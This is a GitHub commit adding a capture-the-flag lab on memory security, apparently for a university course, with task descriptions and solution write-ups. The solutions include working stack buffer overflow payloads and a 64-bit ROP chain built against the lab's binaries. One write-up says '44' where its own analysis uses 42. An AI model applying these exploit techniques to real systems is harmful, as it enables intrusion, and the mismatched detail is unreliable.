Skip to content

Commit

Permalink
chapters/memory-security/ctf: Add CTF lab
Browse files Browse the repository at this point in the history
This commit adds the adapted material, including references and sentence
rephrasing for enhanced readability, as well as solution writeups.

Signed-off-by: Dimitrie Valu <[email protected]>
  • Loading branch information
valudimi committed Sep 4, 2024
1 parent 3dfe9fd commit c2e5f6b
Show file tree
Hide file tree
Showing 28 changed files with 199 additions and 0 deletions.
Original file line number Diff line number Diff line change
@@ -0,0 +1,7 @@
# Feeling Chained

Follow the sequence of operations in the functions of the binary at `feeling-chained/support/buff-ovf3`.
Identify the necessary ones and... you already know how to call them.

If you cannot find your way through this exercise, look for variables that you need to overwrite with specific values in order to finish the exploit, and think of their positioning on the stack.
The previously mentioned [online example](https://medium.com/@0x-Singularity/exploit-tutorial-understanding-buffer-overflows-d017108edc85) is still highly relevant.
Original file line number Diff line number Diff line change
@@ -0,0 +1,9 @@
# Solution

By using the buffer overflow in `gateway()`, functions `f1(56, 13)` and `f3(13)` need to be called in this order, with those exact parameters.
`f3` is the one that actually calls `get_flag()`.
Calling `get_flag()` directly shouldn't work (a global variable is checked to make sure all steps were made).

```sh
python3 -c 'import sys; sys.stdout.buffer.write(b"A"*22 + b"\xa6\x86\x04\x08" + b"\x51\x86\x04\x08" + b"\x38\x00\x00\x00" + b"\x0d\x00\x00\x00")' | ./buff-ovf3
```
Binary file not shown.
Original file line number Diff line number Diff line change
@@ -0,0 +1,7 @@
# Hidden in Plain Sight

The `hidden-in-plain-sight-1/support/link` binary provides everything you need.
Find a way to use it.
> **TIP:** If you want a main function to be done right, you gotta do it yourself.
If you are having trouble solving this exercise, check [this](https://stackoverflow.com/questions/15441877/how-do-i-link-object-files-in-c-fails-with-undefined-symbols-for-architecture).
Original file line number Diff line number Diff line change
@@ -0,0 +1,11 @@
# Solution

Looking at the disassembly of the `link` binary, it is noticeable that there is no `main()` function.
This is a clear indicator that we have to find a way to call it ourselves.

We define a `get_flag()` function prototype as void (you may be able to skip this step, but there will be an implicit declaration error during compilation) and we call it in our main function.
We then compile and assemble the file:
`gcc -g -m32 -fno-PIC -c main.c`

We then link it to the `link` binary:
`gcc -no-pie -m32 link main.o -o a.out`
Original file line number Diff line number Diff line change
@@ -0,0 +1,9 @@
// SPDX-License-Identifier: BSD-3-Clause

void get_flag(void);

int main(void)
{
get_flag();
return 0;
}
Binary file not shown.
Original file line number Diff line number Diff line change
@@ -0,0 +1,7 @@
# Hidden in Plain Sight 2

Analyze the `hidden-in-plain-sight-2/support/link2` binary.
Executing it is no longer a mystery, but it will be a bit more challenging to reach the flag.
> **TIP:** Not all functions are private.
In case you get stuck, feel free to take a look at [this](https://stackoverflow.com/questions/60261705/why-functions-locals-and-arguments-are-pushed-to-the-stack)!
Original file line number Diff line number Diff line change
@@ -0,0 +1,30 @@
# Solution

In a nature similar to that of the previous exercise, we take a close look at the `objdump` disassembly output of the binary using the `objdump -D -M intel link2` command, specifically focusing on the `helper()` function:

```asm
0000012b <helper>:
(...)
137: 83 7d 08 2a cmp dword ptr [ebp + 8], 42
13b: 75 0d jne 0x14a <helper+0x1f>
13d: 80 7d f4 58 cmp byte ptr [ebp - 12], 88
141: 75 07 jne 0x14a <helper+0x1f>
143: e8 b8 fe ff ff call 0x0 <get_flag>
```

The first `cmp` instruction at `0x137` compares the value at `[ebp + 8]` with `42`.
This implies that the first argument passed to the helper() function is expected to be `42`.
The second `cmp` instruction at `0x13d` compares the value at `[ebp - 12]` with `88`.
Since it's comparing a single byte (`byte ptr`), we can infer that this corresponds to a `char` argument.
Although it appears to be a local variable, if we look around a bit, we will notice why that is:

```asm
131: 8b 45 0c mov eax, dword ptr [ebp + 12]
134: 88 45 f4 mov byte ptr [ebp - 12], al
```

The value at `[ebp + 12]` is moved into the `eax` register - this corresponds to the second argument passed to the `helper` function.
The lower byte of `eax`, `al`, the `char` that we are interested in, is then moved into a local variable.

If both of the aforementioned comparisons are successful, the `get_flag()` function is called.
Hence, we can infer that we need to call the `helper()` function using the two arguments above - the integer `44`, and the char `X`, which is `88` in decimal.
Original file line number Diff line number Diff line change
@@ -0,0 +1,9 @@
// SPDX-License-Identifier: BSD-3-Clause

void helper(int a, char c);

int main(void)
{
helper(42, 'X');
return 0;
}
Binary file not shown.
Original file line number Diff line number Diff line change
@@ -0,0 +1,8 @@
# Indirect Business

The `indirect-business/support/buff-ovf` binary contains a classic vulnerability.
Use the input to alter the data in your favor.

If you experience a neural buffer overflow, take a look at the [relevant lab](https://cs-pub-ro.github.io/hardware-software-interface/Lab%2011%20-%20Buffer%20Management.%20Buffer%20Overflow/) and at [online examples](https://medium.com/@0x-Singularity/exploit-tutorial-understanding-buffer-overflows-d017108edc85).

If that still doesn't work, keep in mind that the great cybersecurity expert named Sun Tzu was a big proponent of bruteforce attacks.
Original file line number Diff line number Diff line change
@@ -0,0 +1,8 @@
# Solution

Use the buffer overflow to overwrite a string on the stack.
This is going to be copied to a global variable that is checked before calling the `get_flag()` function.

```sh
python -c 'import sys; sys.stdout.buffer.write(b"A"*10 + b"Bye")' | ./buff-ovf
```
Binary file not shown.
Original file line number Diff line number Diff line change
@@ -0,0 +1,7 @@
# Look at Him Go

The `look-at-him-go/support/dynamic` binary is executable this time and its sole purpose is to obtain the flag and place it somewhere in memory.
No tricks here.
> **TIP:** GDB is your friend.
If you're unable to progress in this exercise, reference [the GDB lab](https://cs-pub-ro.github.io/hardware-software-interface/Lab%202%20-%20Memory%20Operations.%20Introduction%20to%20GDB/Introduction%20to%20GDB/Reading/) and [this](https://stackoverflow.com/questions/5429137/how-to-print-register-values-in-gdb).
Original file line number Diff line number Diff line change
@@ -0,0 +1,4 @@
# Solution

Run the executable with GDB, ideally with `gef`, `pwndbg`, or `peda`.
As you step through, you will notice that the flag will appear in fragments in the display of the register contents (the flag string contains null characters placed specifically so that it would not be displayed all at once).
Binary file not shown.
Original file line number Diff line number Diff line change
@@ -0,0 +1,6 @@
# Playing God

The `playing-god/support/dynamic2` binary asks you to guess a number between 1 and 100000.
Find a better way to discover it.

To help you solve this exercise, like in the previous one, make sure to [keep an eye on the registers](https://stackoverflow.com/questions/5429137/how-to-print-register-values-in-gdb)!
Original file line number Diff line number Diff line change
@@ -0,0 +1,4 @@
# Solution

Run the executable with GDB.
You can see the random number in the register before the input function call.
Binary file not shown.
Original file line number Diff line number Diff line change
@@ -0,0 +1,6 @@
# RIP My Buffers Off

The `rip-my-buffers-off/support/buff-ovf2` binary does not use the `get_flag()` function, but it offers an opportunity to call it.
> **TIP:** Where can a function address be overwritten?
[This example](https://medium.com/@0x-Singularity/exploit-tutorial-understanding-buffer-overflows-d017108edc85), albeit also linked in the previous exercise, is still a great resource to help you solve this exercise.
Original file line number Diff line number Diff line change
@@ -0,0 +1,8 @@
# Solution

The function address on the stack needs to be overwritten with the address of `get_flag()`.
Before reaching that, the payload needs to pass through some local variables and the EBP.

```sh
python3 -c 'import sys; sys.stdout.buffer.write(b"A"*41 + b"\x96\x85\x04\x08")' | ./buff-ovf2
```
Binary file not shown.
11 changes: 11 additions & 0 deletions chapters/memory-security/ctf/drills/tasks/rop/README.md
Original file line number Diff line number Diff line change
@@ -0,0 +1,11 @@
# ROP

`rop/support/rop` is a 64-bit binary with a simple buffer overflow.
However, it has NX enabled, so normal shellcode will not work.
Find a way to create a working exploit.

> **TIP:** On x86_64, function arguments are no longer found on the stack but in registers.
If you're having trouble with this exercise, you may use [this](https://www.ired.team/offensive-security/code-injection-process-injection/binary-exploitation/rop-chaining-return-oriented-programming).
Keep in mind that `peda`'s functionality may be a bit different from that of the provided setup, but you should have [this](https://github.com/JonathanSalwan/ROPgadget).
In `pwndbg`, you can use something like `rop --grep "pop rsi"`.
16 changes: 16 additions & 0 deletions chapters/memory-security/ctf/drills/tasks/rop/solution/README.md
Original file line number Diff line number Diff line change
@@ -0,0 +1,16 @@
# Solution

Idea: The function that needs to be called is `special_function()` with arguments 6 and 9.
The binary is a 64-bits ELF, therefore the parameters are no longer taken from the stack - they are taken from registers esi and edi;
in order to set these registers, you need to execute 2 gadgets.
By using commands like `ropsearch "pop rsi"` and `ropsearch "pop rdi"` in `GDB peda`, you will find gadgets `pop rsi; pop r15; ret` and `pop rdi; ret`.
We first need to overwrite the return address with the address of the first gadget, followed by 2 8-bytes values (rsi and r15, which is not relevant);
the value of rsi needs to be the value of the second argument;
these values are followed by the address of the second gadget and the value of rdi - the first argument of the function.
Finally, we jump to the address of `special_function()`.

The command below might need to be modified.

```sh
python3 -c 'import sys; sys.stdout.buffer.write(b"A"*24 + b"\x61\x08\x40\x00\x00\x00\x00\x00" + b"\x09\x00\x00\x00\x00\x00\x00\x00" + b"\x00\x00\x00\x00\x00\x00\x00\x00" + b"\x63\x08\x40\x00\x00\x00\x00\x00" + b"\x06\x00\x00\x00\x00\x00\x00\x00" + b"\x98\x07\x40\x00\x00\x00\x00\x00")' | ./rop
```
Binary file not shown.
13 changes: 13 additions & 0 deletions chapters/memory-security/ctf/reading/README.md
Original file line number Diff line number Diff line change
@@ -0,0 +1,13 @@
# CTF

In this laboratory, you will have to apply most of the concepts presented throughout this course under the format of `Capture-The-Flag` tasks.
These tasks will test your understanding and mastery of specific static and dynamic analysis methods and tools, the compilation process, assembly language - syntax, registers, memory handling, functions, - as well as your ability to identify and exploit simple buffer overflow vulnerabilities.

## Return Oriented Programming

For the bonus exercise, you will have to use Return Oriented Programming (ROP).
This is a technique in which, if we have the ability to overwrite the return address, we execute `gadgets`.
These `gadgets` are simply portions of the existing code that end with a `ret` instruction.

To determine the address of a gadget in a binary, there is the tool [ROPgadget](https://github.com/JonathanSalwan/ROPgadget).
Alternatively, in `pwndbg`, you can use a command like `rop --grep "pop rsi"`.
19 changes: 19 additions & 0 deletions config.yaml
Original file line number Diff line number Diff line change
Expand Up @@ -261,6 +261,25 @@ docusaurus:
- Overflow in C/: overflow-in-c/
- Overwrite Return Address/: overwrite-ret-addr/
- Overflow for Binary File/: overflow-for-binary/
- Lab 12 - Capture The Flag:
- CTF:
path: chapters/memory-security/ctf/
subsections:
- Reading/: reading/
- Drills:
path: drills/
subsections:
- Tasks:
path: tasks/
subsections:
- Hidden in Plain Sight/: hidden-in-plain-sight-1/
- Hidden in Plain Sight ++/: hidden-in-plain-sight-2/
- Look at Him Go/: look-at-him-go/
- Playing God/: playing-god/
- Indirect Business/: indirect-business/
- RIP My Buffers Off/: rip-my-buffers-off/
- Feeling Chained/: feeling-chained/
- Bonus - ROP/: rop/
# static_assets:
# - template-chapter-template-topic: /build/make_assets/chapters/template-chapter/template-topic/slides/_site
config_meta:
Expand Down

0 comments on commit c2e5f6b

Please sign in to comment.